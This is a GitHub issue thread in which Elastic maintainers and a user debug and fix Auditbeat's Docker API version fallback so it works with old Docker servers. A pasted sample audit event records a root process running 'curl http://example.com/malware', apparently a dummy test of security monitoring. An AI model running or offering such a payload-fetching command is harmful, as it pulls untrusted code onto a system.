Beats: [Auditbeat] Retain compatibility with older Docker server versions

[kholia]

Auditbeat version -> 6.3.1

My auditbeat.yml uses the add_docker_metadata processor.

Running auditbeat test config --strict.perms=false -c auditbeat.yml is giving me Exiting: error initializing publisher: error initializing processors: Error response from daemon: client is newer than server (client API version: 1.24, server API version: 1.23) on this box.

I believe that Auditbeat 6.3.1 was deployed on this box when this error message occured. After downgrading Auditbeat to version 6.3.0, things are working fine on this box.

Box details,

$ uname -a
Linux ip-172-23-180-123 4.4.0-1048-aws #57-Ubuntu... x86_64 x86_64 x86_64 GNU/Linux

$ dpkg -l | grep docker
hi  docker-engine                    1.11.2-0~xenial...

$ docker --version
Docker version 1.11.2, build b9f10c9

This is an Ubuntu 16.04.3 LTS 64-bit box (UPDATED!).

Please let me know if more details are required to reproduce/debug this issue.

[kholia]

CC @pmoust @exekias @urso.

[exekias]

If I understand Docker Maintenance Lifecycle correctly, Docker engine 1.11.2 end of life was on 2017-03-02. Still, it would be nice to improve our compatibility with old Docker versions, always keeping support for the newest.

I open to ideas here, not sure I have any :disappointed:

Also pinging @andrewkroh

[andrewkroh]

@exekias Shouldn't our client downgrade to 1.23 automatically? I thought that is what this code was for?

https://github.com/elastic/beats/blob/35a7882f69d6daf9ab72f36c6509a00aaa2904d0/libbeat/common/docker/client.go#L54-L56

[exekias]

Old versions of Docker don't report their version number on ping, so Docker fallbacks to 1.24 in that case, I copied that code to: https://github.com/elastic/beats/blob/35a7882f69d6daf9ab72f36c6509a00aaa2904d0/libbeat/common/docker/client.go#L50

I wonder if this would work if we just write 1.23 there, @kholia would you test a custom build with that change?

[exekias]

For reference, original code is here: https://github.com/moby/moby/blob/master/client/client.go#L339

[andrewkroh]

Manually setting it might 🤞 work based on their env client accepting a version string and this post on stack overflow.

[kholia]

I double-checked my results to be 100% sure. I can reproduce my observations.

# auditbeat test config --strict.perms=false -c /etc/auditbeat/auditbeat.yml
Exiting: error initializing publisher: error initializing processors: 
Error response from daemon: client is newer than server
(client API version: 1.24, server API version: 1.23)

$ dpkg -l | grep auditbeat
ii  auditbeat                        6.3.1                                      amd64...

$ dpkg -l | grep docker
hi  docker-engine                    1.11.2-0~xenial ...

If I understand Docker Maintenance Lifecycle correctly, Docker engine 1.11.2 end of life was on 2017-03-02. Still, it would be nice to improve our compatibility with old Docker versions, always keeping support for the newest.

@exekias This is the upstream lifecycle. Many commercial Linux distributions have much longer downstream lifecycles. Yes, it would be awesome to support these downstream lifecycles as well. Many of our enterprise customers will be using commercially supported Linux distributions with very long downstream lifecycles instead of fast-moving updated targets like Fedora, non-LTS Ubuntu and the likes.

I wonder if this would work if we just write 1.23 there, @kholia would you test a custom build with that change?

I will apply this change, create a new build, and test it soon. Thanks!

[kholia]

I applied the following patch to beats master,

diff --git a/libbeat/common/docker/client.go b/libbeat/common/docker/client.go
index 3470602e2..6e7114360 100644
--- a/libbeat/common/docker/client.go
+++ b/libbeat/common/docker/client.go
@@ -47,7 +47,7 @@ func NewClient(host string, httpClient *http.Client, httpHeaders map[string]stri

        // try the latest version before versioning headers existed
        if ping.APIVersion == "" {
-               ping.APIVersion = "1.24"
+               ping.APIVersion = "1.23"
        }

        // if server version is lower than the client version, downgrade

Running sudo auditbeat test config --strict.perms=false -c /etc/auditbeat/auditbeat.yml with this fresh patched build gives me Config OK. This was failing with Auditbeat 6.3.1.

This Auditbeat version also seems to be working after I do systemctl start auditbeat.

Do I need to do more testing (i.e. check if docker metadata extraction is working fine) or is this sanity check enough?

[exekias]

Thank you for testing that! :tada:

It would be really nice if you could test that's working, you can use -N -e -d publish flags to run without actually publishing to Elasticsearch.

I will prepare a patch to use 1.23 as the default version if headers are not present + accept DOCKER_API_VERSION env variable to hardcode it.

[kholia]

It would be really nice if you could test that's working, you can use -N -e -d publish flags to run without actually publishing to Elasticsearch.

I am on it. I think I can just use the file output module instead of the Elasticsearch or Logstash output modules for my testing.

[kholia]

I am on it. I think I can just use the file output module instead of the Elasticsearch or Logstash output modules for my testing.

The Docker metadata extraction seems to be working fine :+1: I was able to see the container image URL and name in the output Auditbeat data.

My custom patched build of Auditbeat says,

# auditbeat --version
Flag --version has been deprecated, use version subcommand
auditbeat version 7.0.0-alpha1 (amd64), libbeat 7.0.0-alpha

[kholia]

Here is the full output document,

{
    "@timestamp": "2018-07-10T09:30:35.232Z",
    "@metadata": {
        "beat": "auditbeat",
        "type": "doc",
        "version": "7.0.0-alpha1"
    },
    "auditd": {
        "result": "success",
        "session": "unset",
        "data": {
            "old_pp": "00000000a80425fb",
            "fp": "0000000000000000",
            "a1": "95d608",
            "exit": "0",
            "old_pe": "00000000a80425fb",
            "syscall": "execve",
            "fver": "0",
            "tty": "pts1",
            "new_pe": "00000000a80425fb",
            "fe": "0",
            "fi": "0000000000000000",
            "new_pi": "00000000a80425fb",
            "new_pp": "00000000a80425fb",
            "old_pi": "00000000a80425fb",
            "arch": "x86_64",
            "a0": "95d4a8",
            "argc": "2",
            "a2": "953e08",
            "a3": "7ffe1b7f05e0"
        },
        "summary": {
            "object": {
                "primary": "/usr/bin/curl",
                "type": "file"
            },
            "how": "/usr/bin/curl",
            "actor": {
                "primary": "unset",
                "secondary": "root"
            }
        },
        "paths": [{
            "mode": "0100755",
            "name": "/usr/bin/curl",
            "nametype": "NORMAL",
            "rdev": "00:00",
            "dev": "00:29",
            "inode": "3901",
            "item": "0",
            "ogid": "0",
            "ouid": "0"
        }, {
            "name": "/lib64/ld-linux-x86-64.so.2",
            "nametype": "NORMAL",
            "ogid": "0",
            "rdev": "00:00",
            "dev": "00:29",
            "inode": "32",
            "item": "1",
            "mode": "0100755",
            "ouid": "0"
        }],
        "sequence": 2074090
    },
    "event": {
        "module": "auditd",
        "category": "audit-rule",
        "type": "syscall",
        "action": "executed"
    },
    "user": {
        "auid": "unset",
        "gid": "0",
        "sgid": "0",
        "uid": "0",
        "euid": "0",
        "fsgid": "0",
        "name_map": {
            "uid": "root",
            "egid": "root",
            "euid": "root",
            "fsgid": "root",
            "fsuid": "root",
            "gid": "root",
            "sgid": "root",
            "suid": "root"
        },
        "egid": "0",
        "fsuid": "0",
        "suid": "0"
    },
    "process": {
        "exe": "/usr/bin/curl",
        "cwd": "/",
        "args": ["curl", "http://example.com/malware"],
        "pid": "15340",
        "ppid": "14776",
        "title": "curl http://example.com/malware",
        "name": "curl"
    },
    "docker": {
        "container": {
            "id": "dummy",
            "labels": {
                "io": {
                    "dummy": {
                        "app": "dummy-service",
                        "availability_zone": "eu-dummy-1c",
                        "environment": "dummy",
                        "region": "eu-dummy-1",
                        "version": "stable"
                    }
                }
            },
            "image": "dummy",
            "name": "dummy-service"
        }
    },
    "file": {
        "path": "/usr/bin/curl",
        "device": "00:00",
        "inode": "3901",
        "mode": "0755",
        "uid": "0",
        "gid": "0",
        "owner": "root",
        "group": "root"
    },
    "tags": ["exec", "auditbeat"],
    "beat": {
        "version": "7.0.0-alpha1",
        "name": "auditbeat",
        "hostname": "ip-172-xxx-xxx-xxx"
    },
    "host": {
        "name": "auditbeat"
    }

[exekias]

that's perfect, thank you so much for doing the testing! Will open a PR soon, targeting 6.4 and 6.3.2

[exekias]

I opened #7553, just in case you want to give that a try. We will both negotiate to a lower API version (that should be compatible with your deploy) + allow to hardcode the API version using an env variable.

[kholia]

Thanks! I will give that PR a try soon.

[kholia]

I will give that PR a try soon.

Without this PR (https://github.com/elastic/beats/pull/7553) patch,

$ strings auditbeat | grep DOCKER_API_VERSION
<nothing>

After this PR patch,

$ strings auditbeat | grep DOCKER_API_VERSION
...Configuration pathDOCKER_API_VERSION...

$ strings /usr/share/auditbeat/bin/auditbeat | grep DOCKER_API_VERSION
...Configuration pathDOCKER_API_VERSION...

$ strings /usr/bin/auditbeat | grep DOCKER_API_VERSION
...Configuration pathDOCKER_API_VERSION...

This confirms that I have the right binary.

Auditbeat + Docker metadata extraction is working fine with this PR :+1:

[exekias]

Thank you @kholia for all your input, you made this super easy to fix!